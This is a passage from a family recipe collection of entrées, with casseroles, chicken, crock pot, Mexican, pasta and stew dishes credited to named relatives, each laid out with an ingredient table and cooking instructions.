Preheat oven to 325. Dice chilies. In large bowl, combine grated cheese and chilies. Turn into buttered, shallow 2 quart casserole (12x8x2). In large bowl, beat high speed, egg whites just until stiff peaks. In small bowl combine yolks, milk, flour, salt and pepper. Gently fold beaten whites into egg yolk mixture. Pour over cheese in casserole, and "ooze it" through cheese. Bake 30 minutes, Put tomatoes on top and bake for 30 minutes longer.

Ham Casserole

Entrée
Casserole

Recipe from: Naomi Luby

Turkey may be substituted for ham

Serves: 6 **Time-- Preparation:** 15 min **Temperature:** 400
Season: Everyday **Cooking:** 35 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
30			buttery round crackers (Ritz)
0.25	tsp		paprika
2	tsp		lemon juice
1	tbl	grated	onion
0.75	tsp		salt
0.15	tsp		pepper
1.33	cup		mayonaise
3	cup	diced	ham or turkey
1.75	cup	diced	celery
0.75	cup	diced	toasted almonds
0.5	cup	shredded	cheddar cheese

Instructions:

Break crackers into coarse crumbs to make 1 1/2 cups. Toss with paprika and set aside. Combine lemon juice, onion, salt, pepper and mayonnaise. Add ham, celery, almonds and half the crumbs, mix well. Turn into a greased shallow casserole dish. Sprinkle with remaining mixture of crumbs and cheese. Bake at 400 for 35 minutes or until lightly browned.

Kit Carson CasseroleEntrée
Casserole**Recipe from: Naomi Luby**

Recipe from the Wife of Kit Carson from a Colorado Restaurant

Serves: 4 **Time-- Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	cooked	chicken (three breasts)
1	cup	cooked	rice
4	cup		chicken broth (2 cans)
1	can		Garbanzo Beans
1	cup		green chilis (1 6 1/2 oz can)
1		chopped	avacado
1	cup	cubed	Monterey Jack Cheese

Instructions:

Heat everything but add the avocado and jack cheese at the very last. Otherwise cheese is stringy.

Broccoli CasseroleEntrée
Casserole*Recipe from: Sue Paulding*

From Lois Gruber

Serves: 8-12 **Time-- Preparation:** 0 **Temperature:** 400
Season: Everyday **Cooking:** 30 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	pkgs	frozen chopped	broccoli
2		well beaten	eggs
1	medium	chopped	onion
1	cup	grated	sharp cheese
2	tbl		butter
1	cup		mayonnaise
1	can		cream of mushroom soup
			salt & pepper to taste.
1	pkg		Pepperidge Farm herb dressing

Instructions:

Cook broccoli by directions on package until tender, drain. Mix with soup, eggs, mayonnaise, onion, salt and pepper. Put in greased casserole and cover with cheese and butter. Sprinkle finely rolled Pepperidge Farm herb dressing crumbs on top. Bake approximately 30 minutes at 400 degrees.

Can be made ahead and baked when needed.

California Tamale Pie

Entrée

Recipe from: Sue Paulding

Casserole

Serves: 6-8**Time-- Preparation:** 10 min**Temperature:** 350**Season:** Everyday**Cooking:** 1 hour 15 min

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.75	cup		yellow cornmeal
1.5	cup		milk
1		beaten	egg
1	pound		lean ground beef
1	pkg		chili seasoning mix
2	tsp		seasoned salt
1	can	(1 pound)	tomatoes
1	can	(7.5 oz)	pitted ripe olives, drained
1	can	(17 oz)	whole kernel corn, drained
1	cup	shredded	cheddar cheese

Instructions:

Mix cornmeal, milk and egg in a 1 1/2 quart casserole. Brown meat in a skillet, stirring to keep in crumbly. Add chili seasoning mix, salt, tomatoes, corn and olives and mix well. Stir into cornmeal mixture. Bake at 350 degrees for 1 hour and 15 minutes. Sprinkle cheese over top and bake until cheese melts, about 5 minutes longer.

South of the Border Casserole

Entrée

Recipe from: Sue Paulding

Casserole

Serves: 8 **Time-- Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 30-35 **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
1.5	pounds		lean ground beef
3		chopped	green onions
0.5	tsp		garlic salt
2	8 oz	can	tomato sauce
1	cup	slliced	black olives
1.5	cup		sour cream
1.5	cup		cottage cheese
1	large	can	chopped green chilies
8	oz		tortilla chips
2.5	cup	grated	jack cheese

Instructions:

Sauté meat, pour off fat. Add onions and garlic salt, tomato sauce and olives. Simmer 5 to 10 minutes. Mix together sour cream, cottage cheese and chilies. Crush tortilla chips. Place/layer have of chips in bottom of casserole, add half of the meat mixture and sour cream mixture and half of the cheese. Repeat. Bake at 350 for 30 to 35 minutes. If you like, sprinkle some cheddar cheese on the top.

Zucchini Casserole

Entrée

Recipe from: Sue Paulding

Casserole

Serves: 8-10**Time-- Preparation:** 0**Temperature:** 350**Season:** Everyday**Cooking:** 40 min

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
4	tbl		butter
1	cup	chopped	green onions and tops
6			eggs
1.25	cup		milk
0.5	cup		parmesan cheese
1	pkg	frozen/defrosted	spinach
1	clove	minced	garlic
0.75	tsp		salt
0.15	tsp		pepper

Instructions:

Fry spinach in part of butter over medium heat. Put in bowl. Add remaining butter and fry green onions and garlic. Add to other vegi's. Fry sliced zucchini and add to bowl. In another bowl, mix milk, eggs, salt, pepper and cheese. Pour over vegi's and mix. Pour into 9 by 13 inch dish and top with grated cheddar cheese. Bake at 350 for 40 minutes.

Good reheated

Zucchini Casserole

Mexican Casserole

Entrée

Recipe from: Linda Lokkart

Casserole

Serves: *Time--* **Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 30 min **Warm**

QTY.	MEAS.	PREP.	INGREDIENTS
1	24 oz	can	gree enchilada sauce
20			corn tortillas (about)
2	can	drained	black beans
1	pound	cooked	seasoned ground beef
2	cup	grated	cheddar cheese
		sliced	olives

Instructions:

Pour 1/3 of sauce in bottom of 13 by 9 inch pan. Layer corn tortillas, beef, cheese and more sauce. Repeat ending with sauce. Top with olives. Bake at 350 for 30 minutes. Serve with hot flour tortillas, salsa, sour cream and hot sauce.

Pizza Crust

Entrée

Recipe from: Linda Lokkart

Casserole

Serves: 4 pizzas**Time-- Preparation:****Temperature:**

400

Season: Everyday**Cooking:**

18-25 min

Warm

QTY.	MEAS.	PREP.	INGREDIENTS
8	cup		bread flour
3	tbl		yeast
2.5	cup	warm	water
3	tbl		oil
1	tsp		salt
2	tbl		sugar
0.25	cup		powdered milk

Instructions:

1. Dissolve yeast in 2 1/2 cups warm water.
2. Add 2 tablespoons oil.
3. Sift together 6 cups bread flour, salt, sugar and powdered milk.
4. Add flour mixture to yeast mixture and knead with bread hook until dough is soft and elastic. Add up to 2 cups flour to keep dough from sticking (10 minutes).
5. Put 1 tablespoon of oil in large bowl. Place dough in bowl and flip over, cover with plastic wrap and let rise until doubled.
6. Punch down and rise again.
7. Punch down and divide into 4 parts.
8. Shape, pinch edges and let rise 15 minutes.
9. Poke with fork. Bake crust at 400 for 8 minutes.
10. Top and bake another 10 to 15 minutes.

Pizza Crust

Jamaican Jerk Chicken

Entrée

Recipe from: Mike Luby

Chicken

Goes real well with Linda's Salsa.

Serves: 4 **Time-- Preparation:** 0 **Temperature:** 0
Season: Everyday **Cooking:** 0 BBQ

QTY.	MEAS.	PREP.	INGREDIENTS
0.66	cup	chopped	green onion
3	tbl	fresh	thyme or 1 tbl dried thyme
3	tbl		peanut oil
3	tbl		soy sauce
2	tbl	minced	fresh ginger
1	tbl	minced	garlic
1		seeded/minced	habanero pepper
1	tbl	minced	serrano pepper
1			bay leaf
1	tsp		whole fresh coriander
1	tsp	fresh ground	black pepper
0.33	tsp	ground	nutmeg
0.5	tsp	ground	allspice
4		skinned	chicken breast halves

Instructions:

Combine all ingredients except chicken, mixing to blend well. Coat chicken with spice mixture. Marinate in covered container, refrigerated, several hours or overnight. Grill chicken on covered grill over medium coals, 4 to 6 minutes on each side.

Sweet-Sour Chicken

Entrée

Recipe from: Sue Paulding

Chicken

From Betty Crocker's Meatless Main Dishes loan<

Serves: 4 **Time-- Preparation:** 0 **Temperature:** simmer

Season: Everyday **Cooking:** 0 Boil

QTY.	MEAS.	PREP.	INGREDIENTS
1			egg
2.5	cup	cut-up	cooked chicken
0.25	cup		cornstarch
2	tbl		shortening
1	can	13 oz	pineapple chunks
0.5	cup		sugar
0.5	cup		vinegar
1	medium	chunked	green pepper
0.25	cup		water
1	tsp		soy sauce
1	can	16 ounce	small carrots (drained)
2	cup	hot cooked	rice

Instructions:

Beat egg in medium bowl. Add chicken and toss until all pieces are coated. Sprinkle 1/4 cup cornstarch over chicken; toss until all pieces are well coated.

Melt shortening in 10 inch skillet. Add chicken pieces; cook over medium heat until pieces are brown on all sides. Remove pieces from skillet. Measure reserved pineapple syrup and add water to measure cup. Stir liquid, sugar and vinegar into skillet. heat to boiling, stirring constantly. Stir in green pepper; heat to boiling. Reduce heat; cover and simmer 2 minutes.

Blend water and 2 tablespoons cornstarch. Stir into skillet. cook, stirring constantly; until mixture thickens and boils. Boil and stir 1 minutes. Stir in pineapple chunks. soy sauce, carrots and chicken; heat through. Serve over rice.

Sweet-Sour Chicken

Savory Chicken Stew

Entrée

Recipe from: Mike Luby

Chicken

Serves: 4**Time-- Preparation:** 90 min**Temperature:** 0**Season:** Everyday**Cooking:** 60 min

Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
2		boneless	skinless, cut up Chicken breasts
1	large	diced	onion
1	clove	minced	garlic
3	medium	1/2 inch slices	zucchini
1	small	1 inch chunks	eggplant
1	large	1 inch pieces	pepper
2	medium	sliced	carrots
1	cup		water
2	tsp		salt
2	tsp		basil
1	tsp		oregano
0.5	tsp		sugar
2	large	cut into wedges	tomatoes

Instructions:

In 6 quart pot over medium-high heat, in 2 tablespoons of hot salad oil, cook chicken until browned on all sides. Remove chicken to plate when cooked. In same pot, over medium heat, in three tablespoons of hot oil, cook onion and garlic until tender. Add remaining vegetables and cook 5 minutes. Return chicken to pot and stir in salt, basil, oregano and sugar. Reduce heat to low, add water, cover and simmer 30 minutes, stirring occasionally. Stir in tomato wedges, cover and simmer 5 minutes longer or until chicken and vegetables are tender.

Savory Chicken Stew

Chicken Tacos

Entrée

Recipe from: Sue Paulding

Chicken

Serves: **Time-- Preparation:** 0 **Temperature:** simmer**Season:** Everyday **Cooking:** 45 min **Simmer**

QTY.	MEAS.	PREP.	INGREDIENTS
1			chicken
1	small	chopped	green pepper
1	small	chopped	onion
1	small	can	chili peppers
0.5	cup	mild	salsa
1	dash		garlic salt
1	dash		oregano
1	cup		chicken broth

Instructions:

Bake chicken in pan with water until done. Cool and peel off skin. Discard skin.

Chop up ingredients and add shredded chicken. simmer for 45 minutes in large pan or skillet, until most of the water is gone.

Fry shells and add condiments. Best served with green taco sauce.

Chicken Tacos

Golden Mushroom Chick

Entrée

Recipe from: Sue Paulding

Chicken

I decided to use chicken instead of chick as described in the original recipe.

Serves: 4 **Time-- Preparation:** 0 **Temperature:** simmer
Season: Everyday **Cooking:** 0 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
4			chicken breasts
1	tbl		oil
1	can		golden mushroom soup
1	cup	chopped	carrots
0.25	cup		water

Instructions:

Cut chicken breast in half. Brown chicken in 1 tablespoon oil. Mix 1 can of golden mushroom soup, 1 cup of chopped carrots and stir in with 1/4 cup water. cover and let simmer. Add chicken and let simmer for 1/2 an hour to 45 minutes.

Chicken Good

Entrée

Recipe from: Sue Paulding

Chicken

Serves: 4 **Time-- Preparation:** 5 min **Temperature:** 300

Season: Everyday **Cooking:** 2 hours Warm

QTY.	MEAS.	PREP.	INGREDIENTS
8	oz		Russian Dressing
2	tbl		apricot preserves
1	pkg		onion soup mix
4			chicken breasts

Instructions:

Mix dressing, preserves, onion soup mix together. Spread over chicken breasts and bake at 300 for two hours.

Kahlua Chili

Entrée

Recipe from: Gwen Powell

Crock Pot

Slightly sweet, spices chili that cleans out the refrigerator

Serves: 8 **Time-- Preparation:** 15 minutes **Temperature:** simmer

Season: Everyday **Cooking:** 2 hours Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
0.25	cup		oil
2		chopped	onion
2	cloves	minced	garlic
2	lbs	cooked	meat
1		chopped	green pepper
1	lb		tomatoes
0.25	cup	chopped	parsley or cilantro
1	tsp	crushed	marjoram--dry or fresh
1	tsp	crushed	oregano--dry or fresh
1	tsp		cumin
3	tbl		chili powder
2	tsp		salt
0.5	tsp		cayenne pepper
0.5	cup		Kahlua
1	can		red kidney beans or substitute
1	cup	shredded	cheese
1	cup		other leftovers such as corn

Instructions:

Add all ingredients as well as anything else that might excite the mixture into a large crock pot. Cook on low for 2 to 3 hours. Serve with tortillas and cheese.

Big Beans

Entrée

Recipe from: Sue Paulding

Crock Pot

Serves: *Time--* **Preparation:** 0 **Temperature:** Low**Season:** Everyday **Cooking:** 3 hours **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
1	large	can	pork-n-beans
1	can		lima beans
1	can		kidney beans
1	lb		ground beef
0.5	lb		bacon cut into 1" strips
1		chopped	onion
1	tbl		mustard
0.25	cup		ketchup
0.75	cup		brown sugar
1	dash		white vinegar

Instructions:

Fry beef, bacon and onion and drain. Put beans and meat into crock pot. Add mustard, ketchup, brown sugar and vinegar. Cook for 3 hours on low.

Big Beans

Burrito Mix

Entrée

Recipe from: Sue Paulding

Crock Pot

Serves: 4-6**Time-- Preparation:** 0**Temperature:** med**Season:** Everyday**Cooking:** 0

QTY.	MEAS.	PREP.	INGREDIENTS
1.5	pounds		chuck roast
1	med	chopped	onion
2	cup		refried beans
1	tsp		salt
1	pinch		garlic powder
2	can	(10 oz each)	enchilada sauce or
1	can		sauce plus 1 can water
1	cup	chopped	pitted ripe olives
12			flour tortillas
3	cup	(topping)	shredded cheddar cheese
		(topping)	sliced olives
		(topping)	sour cream
		(topping)	canned green chili salsa

Instructions:

Brown meat. Throw all in crock pot and cook until done. Roll in flour tortillas with any desired toppings.

Burrito Mix

Blackened Roughy

Entrée

Recipe from: Terri Luby

Fish

Mom's copy from Terri said Blackened Roughy and some ingredients were not decipherable.

Serves: 4 **Time-- Preparation:** 10 min **Temperature:** hot

Season: Everyday **Cooking:** 10 min Fry

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	tsp		onion powder
0.5	tsp		garlic salt
0.5	tsp	grated	red pepper
0.5	tsp	dried	basil
0.25	tsp	grated	white pepper
0.25	tsp	grated	black pepper
1.5	tsp	gated	sage
0.25	cup	melted	butter
1	pound		Orange Roughy filets

Instructions:

Dip fish in butter. Sprinkle with seasonings. Fry.

Blackened Roughy

Glazed Pork Chops

Entrée

Recipe from: Gwen Powell

Meat

30 minute Pork Loin Chops

Serves: 2 **Time-- Preparation:** 10 min **Temperature:** hot
Season: Everyday **Cooking:** 15 min Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
0.25	cup		cider vinegar (wine vinegar is better)
0.25	cup		brown sugar or honey
2	tbls		spiced mustard of your choice
1	tbls		soy sauce (or Worstchester)
1	pinch		cayenne or ancho pepper
2		1 ti 1 1/2 inch	loin pork chops
2	tbls		olive oil

Instructions:

In a small bowl mix up everything but the chops and oil. Set aside.

In cast iron or heavy skillet add the oil and grill cook one side of chop until browned (4 to 6 minutes). Turn chop and cook a minute longer.

Now add the glaze mixture. Continue to cook until the glaze bubbles, then scrape the skillet as it cooks pouring the glaze over the chop. This takes another 5 minutes. It should be done and ready to serve.

Pour glaze from pan or chops when plated.

Glazed Pork Chops

Cuban Style Pork

Entrée

Recipe from: Gwen Powell

Meat

Plan ahead but it is work the wait!

Serves: 6 **Time-- Preparation:** 24 hours **Temperature:** 325
Season: Summer **Cooking:** 6 hours Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	large		Pork Shoulder with bone in, fat still attached
2	cup		orange juice
10		fresh pressed	garlic cloves
2	tbls		Kosher salt
1	cup		Splenda or sugar
10		minced	garlic cloves
1	tbls		cumin
0.5	tbls		ground black pepper
4	tbls		olive oil
0.25	cup		orange juice
2	tbls	dried	oregano or 1/4 chopped fresh leaves
2		fresh	sage leaves

Instructions:

The day before: Mix Splenda, salt, pressed garlic and orange juice together. In a container large enough to hold the pork shoulder, place the pork in the container and pour the mix over it. If your pork shoulder is very large, you might need to double the ingredients. Cover and place in the refrigerator. Turn occasionally.

The big day--start early. Mix all the other ingredients together and blend in a food processor until it makes a paste. Take the Pork out of the brine and pat dry. Rub the paste all over the pork shoulder.

Place the shoulder, fat side up in roasting rack in a large roasting pan. Place in 325 degree oven. Cook for three hours, turn over and cook until the meat thermometer says it is done. You can turn down the heat and cook longer if you want it to fall off the bone.

Cuban Style Pork

Prime Rib Roast--Bake or BBQ

Entrée

Recipe from: Gwen Powell

Meat

Easy and to the point--buy the best you can find

Serves: 6 **Time-- Preparation:** 10 minutes **Temperature:** 400**Season:** Everyday **Cooking:** 1 hour Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3	tbls	minced-fresh	oregano
3	tbls	minced-fresh	rosemary
1	tbls	minced-fresh	thyme
3	leaves	minced-fresh	sage
7	cloves	minced-fresh	garlic
1	tsp		ancho pepper (or your choice of pepper)
5	lbs	Prime	Rib Roast
1	tbls		oil oil

Instructions:

Add all but roast to food processor and make a paste.

Spread paste all over roast.

Place roast in a roasting rack fat side up/bone side down in a large roasting pan. Disposable pans are best and easiest!

Either place in oven at 400 degrees or on a covered bbq on medium high heat. On the bbq be careful of flare ups, keep a squirt bottle of water ready to douse flames.

Cook for about an hour depending on the size of the roast you buy. Use a meat thermometer to test. It should show medium 1 inch into the roast and barely move the thermometer when inserted to the center. But it must move the thermometer in the center. This is the minimum for "rare" in the center. It will continue to cook when removed from the heat source.

Slice and serve.

Prime Rib Roast--Bake or BBQ

Tamale Pie

Entrée

Recipe from: Naomi Luby

Mexican

Serves: *Time--* **Preparation:** 15 min **Temperature:** 325**Season:** Everyday **Cooking:** 30 min **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
6	slices		bacon
1		chopped	onion
1	pound		ground beef
0.5	pound		sausage
1	can	(3.5 cups)	tomatoes
1	clove		garlic
1	can		creamed corn
1	tbl		salt
2	tbl		chili powder
2	cup		corn meal
3		well beaten	eggs
2	cup		evaporated milk
1	cup		black olives

Instructions:

Brown meats and onions. Mix tomato, corn, seasonings, meat and milk together and simmer. Put altogether in casserole dish and bake for 30 minutes at 325.

Mexican Lasagna

Entrée

Recipe from: Rose Paulding

Mexican

Serves: 8-10**Time-- Preparation:** 0**Temperature:** 350**Season:** Everyday**Cooking:** 30 min

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	pounds		ground beef
1	medium	chopped	onion
1	can	16 oz	stewed tomato
1	can	10 oz	enchilada sauce
1	can	sliced	olives and juice
1	tsp		garlic salt
0.25	tsp		pepper
8	to 10		corn tortillas
2			eggs
1.5	cup		cottage cheese
0.5	pound	shredded	jack cheese
0.5	pound	shredded	cheddar cheese

Instructions:

Brown meat and onions, add tomato, enchilada sauce, olives and seasoning. Simmer for 20 minutes. Cut tortillas in half. Beat cottage cheese and eggs. Spread 1/3 meat mixtures then half of jack cheese and half of cottage cheese and more tortillas. Repeat until all ingredients are used up. Top with cottage cheese. Bake for 30 minutes.

Green Chile Verde`

Entrée

Recipe from: Sue Paulding

Mexican

Make this ahead and reheat it at mealtime and serve alone or over rice.ydayloan

Serves: 6-8 **Time-- Preparation:** 3 hours **Temperature:** simmer**Season:** Everyday **Cooking:** 2:45 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
3	tbl		oilive oil
1.5	pounds	1 inch cubes	boneless beef chuck
1.5	pounds	1 inch cubes	boneless pork shoulder
1	medium	chopped	green bell pepper
1	clove	minced	garlic
1	large	can	green chiles (chopped)
0.33	cup	chopped	parsley
0.5	tsp		sugar
0.25	tsp	ground	cloves
2	tsp	ground	cumin
1	cup	dry	red wine
			salt to taste

Instructions:

Place a wide frying pan over medium-high heat, add oil, and brown half the meat at a time on all sides; remove with a slotted spoon and reserve. In pan drippings cook bell pepper and garlic until soft. In a large kettle (at least 5 qt. size) combine tomatoes (break up with a spoon) and their liquid, chilies, parsley, sugar, cloves, cumin, and wine. Bring tomato mixture to a boil, then reduce heat to a simmer. Add browned meats, their juices, cooked pepper and garlic. Cover and cook over low heat for 2 hours, stirring occasionally.

Remove cover; simmer for about 45 minutes more until sauce is reduced to thickness you wish and meat is fork tender. Add salt to taste.

Green Chile Verde`

Tamales--Entree, Dessert, Appetizer

Entrée

Recipe from: Gwen Powell

Mexican

Serves: 25 tamales **Time-- Preparation:** 2 hours **Temperature:** Steam

Season: Everyday **Cooking:** 45 min Steam

QTY.	MEAS.	PREP.	INGREDIENTS
			cornhusks
3	cup		masa harina tortilla flour
1	cup		lard or shortening
1	tsp		salt
2	cup		filling

Instructions:

Soak cornhusks in warm water for several hours. Pat with paper towel and remove excess water.

Mix together masa and water; cover and let stand 20 minutes. In large mixing bowl beat together lard and salt until fluffy; beat in flour mixture till well combined.

Measure 2 tablespoons dough onto each tamale wrapper; spread to 5 by 3 inch rectangle.

Spoon 1 tablespoon filling. Roll up and tie ends.

Place tamales on rack in steamer. Add water to just below rack level. Bring to boiling; cover and steam for 45 minutes or until tamale pulls away from wrapper.

Use a thick meat chili for dinner tamales or a cinnamon/brown sugar/raisin/nut mixture for dessert tamales. For appetizers use a cheese mixture for filling.

Gwen's Tortilla Casserole

Entrée

Recipe from: Gwen Powell

Mexican

Yummy way to use up a lot of that stuff in the fridge. Make ahead and enjoy for days

Serves: As many as you | **Time-- Preparation:** 30 minutes | **Temperature:** 350

Season: Everyday | **Cooking:** 1 hour | Bake

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

Tofu Cannelloni

Entrée

Recipe from: Gwen Powell

Pasta

Acceptable non-meat cannelloni.

Serves: 4 **Time-- Preparation:** 2 hours **Temperature:** 350
Season: Everyday **Cooking:** 15 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
12	5 by 5	inch	Fresh Pasta squares
0.5	cup	non fat	ricotta cheese
1	cup		hard tofu
2	tbl		butter
0.5	cup	grated	parmesan cheese
0.5	clove	minced	fresh garlic
1	dash		pepper
1	tsp	finely chopped	fresh parsley
1	cup		Balsamella Sauce

Instructions:

Mix together tofu, butter, parmesan cheese, garlic, pepper, 1/2 cup of the Balsamella Sauce and parsley with a fork. Set aside.

Cook pasta squares "al dente" one at a time and brush with olive oil to keep from sticking.

Spoon 1/12 of the mixture into a pasta square and roll. Place in casserole dish.

Spread the remaining balsamella sauce over the rolls. Bake for 15 minutes or until the sauce bubbles. Serve hot with vegetables and grated parmesan cheese.

Cannelloni with Poultry

Entrée

Recipe from: Gwen Powell

Pasta

Use chicken, turkey or other poultry to create this very fattening dish.

Serves: 4 **Time-- Preparation:** 2.5 hours **Temperature:** 350

Season: Everyday **Cooking:** 20 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		Balsamella Sauce
12	5 by 5		pasta squares
1	cup	cooked	poultry
0.75	cup	grated	parmesan cheese
1	cup	non fat	ricotta
0.5	clove	minced	garlic
1	tbl	chopped	parsley
1	dash		salt (optional)
0.5	tsp		pepper

Instructions:

In a food processor blender, process the poultry and grated parmesan until blended to smaller than 1/4 inch pieces. Transfer mixture into a bowl. Add ricotta, parsley, pepper, garlic and 1/2 cup of Balsamella Sauce and mix well. Set aside.

Cook pasta squares "al dente" and brush with olive oil to prevent sticking.

Spoon poultry mixture onto pasta, roll and place in casserole dish. Spread remaining Balsamella Sauce over rolls.

Bake at 350 until sauce bubbles. Serve with vegetables and grated parmesan cheese.

Cannelloni with Poultry

Pasta Primavera Mold

Recipe from: Gwen Powell

Beautiful display and makes a great main course.

Entrée

Pasta

Pasta Primavera Mold

Entrée

Serves: 8**Time-- Preparation:****Temperature:**

350

Season: Everyday**Cooking:**

Warm

QTY.	MEAS.	PREP.	INGREDIENTS
32			asparagus spears
2	cup		fresh broccoli florets
8			fresh snow peas cut 1/2 bias
0.5	pound		fresh green peas
0.5	cup		chicken broth cooked down to 1/4 cup
0.5	cup		heavy cream
3	clove	minced	fresh garlic
0.5	ounce	finely chopped	dried mushrooms
1	pinch		red pepper flakes
6			eggs
0.75	cup	grated	fresh parmesan cheese
2	tbl	chopped	fresh parsley
2.5	tbl		butter
0.5	pound		pasta of choice
0.5	cup	toasted	pinenuts

Instructions:

Clean and slice vegetables where necessary. Cook asparagus, broccoli and peas separately. **DO NOT OVERCOOK.**

In a saucepan, heat chicken stock, cream, garlic, mushrooms, and pepper. As soon as this comes to a boil, remove from heat.

In a large bowl, combine eggs, cheese and parsley and mix well. Add the cream mixture and stir well.

Heat 1/2 tablespoon butter in a small skillet and sauté the snow peas for 1 minutes. Preheat oven to 350.

Cook the pasta just below al dente point. Drain and return to pan. Add 2 tablespoons butter and toss. Add the cream and egg mixture, snow peas and green peas to the pasta and toss well.

Liberally butter a mold 3 1/2 inches deep and 8 1/4 inches wide (a French soufflé' dish is excellent). Cut out a circle of wax paper to fit the bottom of the dish. Butter the top side of the paper. Arrange the broccoli florets on the bottom of the mold, flower sides down. Arrange the asparagus stalks, after cutting to the size of the depth of the mold, standing up with the flower side of the asparagus pointed to the bottom of the mold.

Transfer the pasta mixture to the mold. Set the mold in a large vessel filled with hot water and set both in oven for 50 minutes. Remove water vessel and return mold to oven for 30 minutes longer. Remove from oven. The mold must rest for 15 minutes or longer to turn out properly. There should be no juices visible on the mold. Turn mold out onto plate.

When it is turned out, sprinkle the toasted pinenuts overall. Serve by slicing through as you would cut a cake. Serve with sauce of alone.

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Pasta Primavera Mold

Pasta Primavera Mold

Entrée

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Sun Dried Tomato Pesto Chicken

Entrée

Recipe from: Mike Luby

Poultry

Tasty Chicken Entree. Serve with home made pasta for extra effect.

Serves: 6 **Time-- Preparation:** 45 min **Temperature:** 0

Season: Everyday **Cooking:** 0 Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
1		boneless	chicken brest
2	cup	fresh	vegetables (peppers, squash, green beans)
0.33	cup		sun-dried tomatos
0.33	cup		parmesan cheese
0.33	cup		olive oil
0.33	cup		water
0.33	cup		walnuts
0.33	cup		basil
1	clove		garlic

Instructions:

Blanch the tomatoes for one minutes in boiling water and drain. Mix all ingredients except chicken, garlic and vegetables in a food processor or blender until fine. It will be thick. Add more water and olive oil in equal parts for a thinner sauce.

Shred or thin slice 1 chicken breast. Cook in 1 teaspoon olive oil and 1 teaspoon pesto. Set Aside. Grill 3 cups cut vegetables (green, red, yellow peppers, squash, green beans, onion, etc.) in two tablespoons olive oil, 2 tablespoons pesto and 1 clove garlic. Add cooked chicken and cook 2 minutes more. Add pasta and serve. Add pesto to taste.

Sun Dried Tomato Pesto Chicken

Turkey Acapulco

Entrée

Recipe from: Sue Paulding

Poultry

Serves: 6**Time-- Preparation:** 0**Temperature:** 350**Season:** Easter**Cooking:** 40 min

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1.5	pounds	cooked	turkey
0.33	cup	melted	butter
0.33	cup		flour
2	cup		sour cream
2	cans		cream soup
1	can	4-7 ounce	chili
1	tsp		onion salt
4	cups	shredded	cheese

Instructions:

Melt butter in sauce pan. Add dry ingredients then sour cream and mix until well blended. Add soup and chilies. When hot pour over turkey in casserole dish. Top with shredded cheese. Bake at 350 for about 40 minutes.

Turkey Acapulco

Mom's Turkey

Entrée

Recipe from: Naomi Luby

Poultry

Stuff with turkey dressing recipe

Serves: Everyone **Time-- Preparation:** 0 **Temperature:** 325**Season:** Holiday **Cooking:** 30 min/pound Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	large		turkey, fresh or thawed
1			turkey dressing recipe
			margarine, shortening or oil

Instructions:

Clean and dry turkey. Salt insides. Stuff with turkey dressing. Rub turkey with oil or shortening or margarine. Bake at 325 about 30 minutes per pound of turkey or until done. Baste about every 20 or 30 minutes with drippings or shortening. Turkey can be wrapped in foil before cooking. Be sure to uncover during the last hour so it can brown.

Beef Stew

Entrée

Recipe from: Sue Paulding

Stew

Serves: 8-10**Time-- Preparation:** 0**Temperature:** 0**Season:** Everyday**Cooking:** 3 hours

Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
2.5	pounds	chopped	stew beef
0.33	cup		flour
0.33	cup		oil
1	large	chopped	onion
1	clove	minced	garlic
3	cup		water
4	cubes		beef bullion
1	tsp		salt
0.25	tsp		pepper
0.5	tsp		worcheshire sauce
5	medium	diced	potatoes
16	oz	baby	carrots
10	oz		peas

Instructions:

Sauté onion and meat in margarine. Take out meat and onions. Use drippings. Coat meat with flour, add water and flour to drippings, salt, bullion, pepper and Worcestershire sauce. cook until slightly thick. Add meat. Heat to boil, stir and simmer for 2 hours stirring on occasion. Add vegetables and cook 20 minutes more. Then add peas and serve.

Beef Stew

Pot Roast Mexicali

Entrée

Recipe from: Sue Paulding

Stew

From Erin Ford and Louise Edward's

Serves: 16 **Time-- Preparation:** 0 **Temperature:** 325-350**Season:** Everyday **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
4	pound	chuck	roast
1	cup		dry red wine
1	pkg		onion soup mix
1	15 oz	can	ranch style beans
1	15 oz	can	kidney beans
1	15 oz	can	garbanzo beans
1	15 oz	can	pinto beans
1	30 oz	can	chili with beans
1	30 oz	can	Gebhardt tamales (cut up)
1	10 oz	can	green enchilada sauce
1	10 oz	can	red chili sauce
			salt and pepper to taste
1	cup	shredded	cheddar cheese

Instructions:

Put chuck roast, red wine and onion soup mix in roasting pan with cover and cook at 325 for 3 to 4 hours or until very tender. Lift meat, clean pan, cut meat bite size and return to pan.

Drain all beans. Add all ingredients. Stir to mix well. Heat through and refrigerate over night. Skim off fat, then bake at 350 for 45 minutes. Sprinkle generously with shredded cheese and bake 15 more minutes or until bubbly.

Pot Roast Mexicali

Perfect Turkey Loaf

Entrée

Recipe from: Sue Paulding

Turkey

Serves: 6-8**Time-- Preparation:** 0**Temperature:** 350**Season:** Everyday**Cooking:** 0

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	pounds	ground	turkey
4	slices	crumbled	bread
2		beaten	eggs
1	medium	chopped	onion
0.25	cup	minced	green or red pepper
